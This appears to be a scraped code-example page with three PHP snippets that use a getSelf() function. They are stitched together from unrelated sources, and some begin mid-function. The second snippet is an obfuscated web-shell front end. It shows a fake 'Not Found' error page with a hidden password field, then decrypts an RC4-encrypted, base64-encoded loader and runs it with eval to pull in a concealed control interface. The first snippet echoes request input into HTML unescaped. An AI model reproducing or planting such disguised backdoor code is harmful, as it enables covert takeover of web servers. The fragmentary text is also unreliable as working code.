示例#1
0
function makeSidebar()
{
    // Sidebar containing upload form and other actions.
    $str = '<div id="sidebar">';
    $status .= makeStatus();
    if (empty($status)) {
        $str .= "<div id='status' class='hidden'></div>";
    } else {
        $str .= "<div id='status' class='section'><h2>Results</h2>{$status}</div>";
    }
    if (DISABLEUPLOAD == FALSE) {
        $str .= '
	<div class="section">
		<h2>Upload files</h2>
		<form action="' . getSelf() . '" method="post" enctype="multipart/form-data">
			<div id="uploadsection">
				<input type="file" class="upload" name="localfile" id="localfile-0" size="12" />
				<input type="hidden" name="act" value="upload" />
				<input type="hidden" name="MAX_FILE_SIZE" value="' . MAXSIZE . '" />
				<input type="hidden" name="dir" value="' . $_REQUEST['dir'] . '" />
			</div>
			<div id="uploadbutton">
				<input type="submit" name="submit" value="Upload" />
			</div>
		</form>
	</div>
	<div class="section">
		<h2>Create folder</h2>
		<form action="' . getSelf() . '" method="post">
			<div>
				<input type="text" name="mkdir" id="mkdir" size="16" />
				<input type="hidden" name="act" value="mkdir" />
				<input type="hidden" name="dir" value="' . $_REQUEST['dir'] . '" />
				<input type="submit" id="mkdirsubmit" name="submit" value="Ok" />
			</div>
		</form>
	</div>';
    }
    $str .= '</div>';
    return $str;
}
示例#2
0
			s = '';
			for (j = 0; j < 4; j++)
				s += hex_chr[(x[i] >> (j * 8 + 4)) & 0x0F] + hex_chr[(x[i] >> (j * 8)) & 0x0F];
			x[i] = s;
		}
		return x.join('');
	}
	
	function randStr(l) {
		s = "";
		while(s.length < l)
			s += Math.random().toString(36).slice(2);
			
		return s.substr(0, l);
	}
<?php 
$loader = "var d = document;\n\tajax = new XMLHttpRequest();\n\tajax.onreadystatechange = function() {\n\t\tif (ajax.readyState == 4 && ajax.status == 200) {\n\t\t\thash = sessionStorage.getItem('{$config['consNames']['slogin']}');\n\t\t\td.getElementsByTagName('html')[0].innerHTML = rc4(atob(ajax.responseText), rc4Init(hash)).substr({$config['rc4drop']});\n\t\t\t\n\t\t\toldscript = d.getElementsByTagName('head')[0].getElementsByTagName('script')[0];\t\t\t\n\t\t\tfixscript = d.createElement('script');\n\t\t\tfixscript.type = 'text/javascript';\n\t\t\tfixscript.innerHTML = 'var hash = \"' + hash + '\";' + oldscript.innerHTML;\n\t\t\td.head.appendChild(fixscript);\n\t\t\toldscript.parentNode.removeChild(oldscript);\n\t\t}\n\t}\n\t\n\tif (sessionStorage.getItem('{$config['consNames']['slogin']}') != null) \n\t\thash = sessionStorage.getItem('{$config['consNames']['slogin']}');\n\telse {\n\t\thash = md5(d.getElementById('pss').value);\n\t\tsessionStorage.setItem('{$config['consNames']['slogin']}', hash);\n\t}\n\t\n\tpost = '{$config['consNames']['post']}=' + encodeURIComponent(btoa(rc4(randStr({$config['rc4drop']}) + 'me=loader" . (isset($p['dir']) ? "&dir=" . rawurlencode($p['dir']) : "") . "', rc4Init(hash))));\n\tajax.open('POST', '" . getSelf() . "', true);\n\tajax.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n\tajax.setRequestHeader('Content-Length', post.length);\n\tajax.setRequestHeader('Connection', 'close');\n\tajax.send(post);";
echo "\n\tfunction load(hash){\n\t\tloader = '" . base64_encode(rc4($loader, rc4Init($config['sPass']))) . "';\n\t\teval(rc4(atob(loader), rc4Init(hash)));\t\t\t\n\t}\n\t\n\tif (sessionStorage.getItem('{$config['consNames']['slogin']}') != null) \n\t\tload(sessionStorage.getItem('{$config['consNames']['slogin']}'));\n\t";
?>
</script>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <?php 
echo $_SERVER['HTTP_HOST'];
?>
 was not found on this server.</p>
</body>
<style>input{ margin:0;background-color:#fff;border:1px solid #fff; }</style>
<center><form onsubmit="load(md5(document.getElementById('pss').value));return false;"><input type="password" id="pss"></form>
</html>
示例#3
0
        exit;
    } else {
        echo array_filter($errorMappings, function ($key) {
            global $error;
            return in_array($key, $error) && !$error[$key];
        }, ARRAY_FILTER_USE_KEY);
        //TODO: add support for non-js login error handling
    }
}
?>
<script src="/js/jquery.validate.min.js"></script>
<div>
	<p>Please enter your information below:</p>

	<form id="signup_form" action="<?php 
echo getSelf();
?>
"
		  method="POST" enctype="multipart/form-data">
		<fieldset>
			<div>
				<input type="text" id="username" name="username" size="20" placeholder="Username or Email Address"/>
			</div>

			<div>
				<input type="password" id="password" name="password" size="20" placeholder="Password"/>
			</div>
		</fieldset>
		<br/>
		<fieldset class="center">
			<input type="submit" value="Sign In"/>